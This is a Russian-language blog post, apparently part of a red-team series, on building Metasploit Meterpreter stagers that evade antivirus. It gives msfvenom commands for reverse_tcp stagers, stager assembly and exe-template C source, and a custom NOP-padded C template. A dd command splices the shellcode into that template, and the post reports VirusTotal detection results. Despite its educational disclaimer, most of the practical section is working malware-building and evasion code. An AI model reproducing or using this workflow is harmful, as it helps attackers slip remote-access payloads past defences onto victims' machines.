Введение

Привет!

С момента выхода второй части прошло несколько месяцев, и я готов поделится новым опытом.

В данном посте мы более углубленно изучим Self-code injection, как детектят, как обходят и в конце напишем свой собственный стейджер. Будет код на Си, чуть-чуть ассемблера и много ссылок на исходники и первоисточники.

Дисклеймер

Существуют нормативно-правовые акты, запрещающие распространять вредоносное ПО. Я не играю в хакеров, а лишь хочу в образовательных целях показать, что антивирус не всесильный.

Работа над ошибками

Вернемся ненадолго в прошлое, во вторую часть, в которой не очень опытный малварьщик говорит что-то про реверс-шеллы

1. Реверс шеллы?

Моя ошибка № 1

Моя ошибка № 1

В данном случае я хотел показать, что простой реверс шелл детектится всем подряд. Но, как оказалось, детекты шли не на сам реверс-шелл, а на бинарь, из которого он запускался. Подробный разбор ниже.

2. Обфускация?

Еще одна тема, которая при перечитывании вызывает у меня испанский стыд, это то, как я обфусцировал код:

Моя ошибка № 2

Моя ошибка № 2

За такое конечно нужно увольнять 😟

Никакой обфускацией тут и не пахнет. Названия переменных не сохраняются в скомпилированном файле (если, конечно, не указать компилятору сохранение отладочной информации)

Моя ошибка № 3

Моя ошибка № 3

А вот такие действия могут сработать, так как тут идёт изменение машинного кода путем добавления операции сложения, хотя в данном случае это не сильно повлияет на детект. И стоит не забывать про оптимизацию компилятора, которая включена по умолчанию, поэтому что конкретно за машинный код получится в результате, известно одному лишь дизассемблеру.

Ну вроде и всё, с основными ляпами разобрались, идем дальше.

Всё с начала

Вообще, предыдущие две статьи стоит считать своего рода введением в тему вирусов, антивирусов и вот этого всего. Думаю, они дали поверхностное понимание этой области. Дальше пойдет больше конкретики и кода.

Итак, начнем с метерпретера. Что это такое? Вот описание с официальной документации

Meterpreter is an advanced payload that has been part of Metasploit since 2004. Originally written in C by Matt “skape” Miller, dozens of contributors have provided additional code, including implementations in PHP, Python, and Java. The payload continues to be frequently updated as part of Metasploit development.

Под Advanced payload понимается многофункциональная полезная нагрузка, имеющая в себе ряд фич, упрощающих взаимодействие с системой, на которой она запущена.

Meterpreter — проект открытым исходным кодом и является своеобразным эталоном в мире пейлоадов. На неё, как на первоисточник, часто опираются аналитики SOC, вирусологи, компьютерные криминалисты и хакеры. У него есть реализации на Python и Java, но сейчас нас интересует эталонная, на Си 😈

Крайне рекомендую более детально изучить исходники и посмотреть официальную документацию.

Исходники метерпретера мы пока пропустим, но поговорим, как она работает. В доке пишут так:

Architecture

To avoid confusion, the victim running meterpreter is always called the server and the ruby side controlling it is always called the client, regardless of the direction of the network transport connection.

The Meterpreter server is broken into several pieces:

  • metsrv.dll and meterpreter.{jar,php,py} - this is the heart of meterpreter where the protocol and extension systems are implemented.
  • ext_server_stdapi.{dll,jar,php,py} - this extension implements most of the commands familiar to users.
  • ext_server_*.{dll,jar,php,py} - other extensions provide further functionality and can be specific to particular environments.

Delivering Meterpreter

  1. Using a technique developed by Stephen Fewer called Reflective DLL Injection (RDI), metsrv.dll’s header is modified to be usable as shellcode. From there, Metasploit can embed it in an executable or run it via an exploit like any other shellcode.

Расшифрую — у нас есть скомпилированная DLL библиотека metsrv.dll, которая практически и является метерпретером. Там описан функционал шифрования и передачи трафика, управление сессиями, каналами (шеллами), о общем, весь основной функционал.

metsrv.dll Загружается с использованием техники Reflective DLL Injection. Про неё полно информации, поэтому расскажу кратко:

Когда мы кликаем по exe файлу, он загружается в память не просто копируя информацию. Идёт чтение заголовка нашего исполняемого файла (PE-Заголовка), резервирование памяти под каждую секцию (.text, .data, .rdata и т. д.) с указанными адресами, загружаются зависимости из таблицы импортов сторонних библиотек и только потом передаётся управление на указанный адрес с кодом (обычно это начало секции .text). Поэтому процесс в памяти называют образом файла, а не исполняемым файлом.

Как мы знаем, DLL - это такой-же PE. Отличие в том, что у неё нет точки входа, зато есть таблица экспортов, содержащая адреса функций, которые будет вызывать exe файл в своей таблице импортов. И эти функции сохраняются в таблицу импортов исполняемых EXE-файлов. При запуске EXE файла при помощи WinAPI в память специальным образом подгружаются все эти необходимые DLL.

Когда мы говорим о Reflective DLL Injection, мы подразумеваем загрузку нашей динамической библиотеки с кодом, которых хотим выполнить (к примеру это код Метерпретера). Однако, в отличии от стандартной процедуры загрузки мы не используем WinAPI, а при помощи нашего собственноручно написанного загрузчика подгружаем библиотеку в код.

Картинка ниже с большим уровнем абстракции показывает шаги инжекта. Картинка взята отсюда

После загрузки выполняется наш вредоносный код. Идем дальше

Stager

В общем смысле под стейджером понимается кусок кода, который подгружает основную полезную нагрузку, например всё тот же meterpreter. Но зачем, если можно запускать всё напрямую, без загрузчика-посредника?

Ответ в скрытности. Размер стейджера настолько небольшой, что его можно внедрять во всякие переполнения буфера или другие инъекции кода. А еще он сам по себе не несет вреда, так, что для антивирусов он невидим очень даже видим, чуть позже покажу.

Практика

Со всем необходимым разобрались, теперь разберёмся, как генерируется stager в msfvenom и какие шайтаны сидят внутри этого процесса.

Все пользовались msfvenom. Это часть метасплоита (Если конкретно, то скрипт на Ruby), отвечающая за генерацию полезных нагрузок с выбором архитектуры, форматов и нескольких доп параметров. Вот простой пример:

1$> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o stager.exe

В результате сгенерируется exe файл с стейджером метерперетера, который подгружает основную нагрузку по заданному ip адресу и tcp-порту.

Это всё понятно, но как он работает внутри? Как он компилирует бинарь, откуда берет метерпретер и вот это всё? Давайте разбирать айсберг.

  1. Что представляет из себя этот стейджер?

Ничего сверхъестественного. Это скомпилированный код на ассемблере

stager_reverse_tcp_nx.asm

 1[BITS 64]
 2[ORG 0]
 3
 4  cld                    ; Очистка флага направления чтения кода (чтобы чтение точно было сверху вниз)
 5  and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
 6  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
 7%include "./src/block/block_api.asm" ; Подгрузка кода из файла block_api.asm
 8start:                   ;
 9  pop rbp                ; pop off the address of 'api_call' for calling later.
10
11; Создаётся сокет для дальней загрузки
12%include "./src/block/block_reverse_tcp.asm" ; Подгрузка кода из файла block_reverse_tcp.asm
13
14; Скачиваем нашу нагрузку, запрашиваем память с флагом на выполнение, копируем её туда и выполняем
15%include "./src/block/block_recv.asm" ; Подгрузка кода из файла block_recv.asm

В результате получается шеллкод — позиционно-независимый машинный код, который можно вставлять в любое место в памяти, перевести на него регистр EIP и выполнять. И код выполнится, вроде всё просто.

  1. Как выполняется полученный шеллкод

Ну тут всё еще проще. Никакой компиляции тут нет. Он (msfvenom) просто берет уже готовый exe-файл из директории метасплоита, и запихивает в нужное место этого файла скомпилированный шеллкод. То-есть любой созданный exe Файл - это один и тот же бинарь, только с разной полезной нагрузкой. Неудивительно, что он детектится всем, чем только можно.

Там же можно найти исходник этого “exe-контейнера” Вот он:

 1#include <stdio.h>
 2
 3#define SCSIZE 4096
 4char payload[SCSIZE] = "PAYLOAD:"; // Эта переменная размером 4096 байт заменяется шеллкодом
 5
 6char comment[512] = "";
 7
 8int main(int argc, char **argv) {
 9	(* (void (*)())payload)(); // Преобразование переменной payload из типа char[] в в функцию void(*)() и вызывает её
10	return(0);                 
11}
  1. Ну, собственно, msfvenom вставляет сюда шеллкод и получает из этого конечный exe файл, который мы уже закидываем жертве и запускаем.

Код на Ruby с использованием этого exe шаблона тут (со строки 246)

Ответ на вопрос, где происходит детект антивируса, напрашивается сам — у нас при генерации exe файла используется неизменяемый шаблон. Он будет всегда одинаковый, независимо от шеллкода, который компилировался на ассемблере.

Ремарка: char payload у нас является переменной, а значит в памяти её данные хранятся в секции .data. По умолчанию у этой секции нет права на выполнение, и что-то я так и не понял, что с этим делать. Вроде как можно указать при компиляции хранить переменный в .text, но проверить мне это не удалось. Если кто-то знает, где нужно подшаманить, жду предложений в телеге 👾

Пишем свой шаблон для выполнения шеллкода.

Дошли до практики. Повторяем описанные выше пункты, только всё создаём руками:

  1. Генерируем стейджер. Тут пока не сильно заморачиваемся с ассемблером и используем для генерации msfvenom. Главное - понять принцип и что ничего сверхъестественного нет. Про ручное создание шеллкода поговорим позже.
1msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o ./shellcode
  1. Пишем свой шаблон, в который вставим шеллкод стейджера:

Для этого я использовал встроенные в Windows Vusial C ассемблерные вставки. Они хорошо подходят для этой задачи. С их помощью я выделил место в секции с исполняемым кодом (.text), куда в дальнейшем можно будет отдельно вставить стейджер (или пропатчить)

template.c

 1#include <stdio.h> // не помню, нужно это или нет :)
 2
 3#define NOP1   __asm { nop } // Через директиву препроцессора задаем замену одной инструкции nop на слово NOP1
 4#define NOP2   NOP1  NOP1 // магия. Превращаем одну инструкцию nop в две
 5#define NOP4   NOP2  NOP2 // и таким образом умножаем это всё в 2 раза. Получается 4.
 6#define NOP8   NOP4  NOP4 // 4 + 4 = 8, и так далее...
 7#define NOP16  NOP8  NOP8
 8#define NOP32  NOP16  NOP16
 9#define NOP64  NOP32  NOP32
10#define NOP128  NOP64  NOP64
11#define NOP256  NOP128  NOP128
12#define NOP512  NOP256  NOP256
13#define NOP1024  NOP512  NOP512 // доходим до 1024. nop занимает 1 байт, значит у нас уже 1 килобайт
14
15int somefunc()
16{
17    __asm // Вставка ассемблерного кода, состоящего только из инструкций nop. Их оснавная задача - буквально ничего не делать
18    {
19        NOP1024
20        NOP1024 
21    } // Итого у нас 2 килобайта памяти, которую мы потом вручную поменяем
22}
23
24int main(int argc, char* argv) {
25	somefunc(); // Вызываем это функцию с двумя килобайтами нопов
26
27	return 0;
28}
  1. Компилируем. На всякий случай я отключил в Visual Studio оптимизацию компилятора. В результате получаем exe файл, который начинает выполнения прямо с наших нопов (Почему адрес 004010000 и в целом про PE заголовки полно материала):

Untitled

Untitled

Секция .text начинается с наших нопов. Для проверки работы скомпилированной программы добавим printf(”Hello, World”), запустим и проверим, что с нопоми всё отработало без ошибок.

Untitled

Untitled

Стоит помнить, что запущенная программа в оперативной памяти, отличается от exe файла на диске. Поэтому то, что находится в памяти, называется образом файла, а не файлом. На скриншоте выше было показано, что выполнение начинается с тысячного (0x00401000) адреса, но если мы чем-нибудь откроем exe файл, то увидим, что нопы лежат по другому адресу.

0x90 - это опкод команды nop

Untitled

Untitled

Теперь копируем шеллкод на место нопов. Не страшно, если после копирования останется место, всё равно программа отработает корректно, лишь бы корректным был шеллкод.

Как и чем копировать - без разницы. Я это сделаю через linux утилиту dd

1dd if=./raw_msfvenom of=./meterpreter_injection.exe bs=1 count=354 seek=1088 conv=notrunc
2# bs=1 - сколько читать байт за раз
3# count=354 - Сколько всего считать байт из raw_msfvenom (считать всё)
4# seek=1088 - Сдвиг в meterpreter_injection.exe (с какого момента начать записывать). 1088 это десятичное значение числа 0x440

Теперь у нас c 0x440 по 0x5a0 адреса лежит шеллкод

Untitled

Untitled

Вот красивая гифка с выполнением каждого шага

Untitled (1).gif

Untitled (1).gif

Результаты Virustotal без внедрённого через dd шеллкода. Думаю, 2 килобайта nop-инструкций всё-таки дали о себе знать. Но Касперский и Дефендер отсутствуют, а значит пойдёт

Созданный нами шаблон без шеллкода (только NOP)

Созданный нами шаблон без шеллкода (только NOP)

Естественно, с шеллкодом стейджера картина другая.

Созданный нами шаблон с шеллкодом

Созданный нами шаблон с шеллкодом

Нужно также отметить, что, к сожалению, ассемблерные вставки в компиляторе Visual C поддерживаются только для x86 архитектуры. На x64 их нету 😭

Стоит ли делать сравнение с exe шаблоном метасплоита? Предлагаю сработки на шаблон из репозитория метасплоита посмотреть самостоятельно.

Я, как всегда, недооценил размер информации, в который хотел уложиться. В дальнейшем поговорим про техники Self Code Injection, Shikata Ga Nai, WinAPI и C2 фреймворках.

Список литературы


Автор: 🔗@pyfffe

Наш Telegram канал: 🔗REDTalk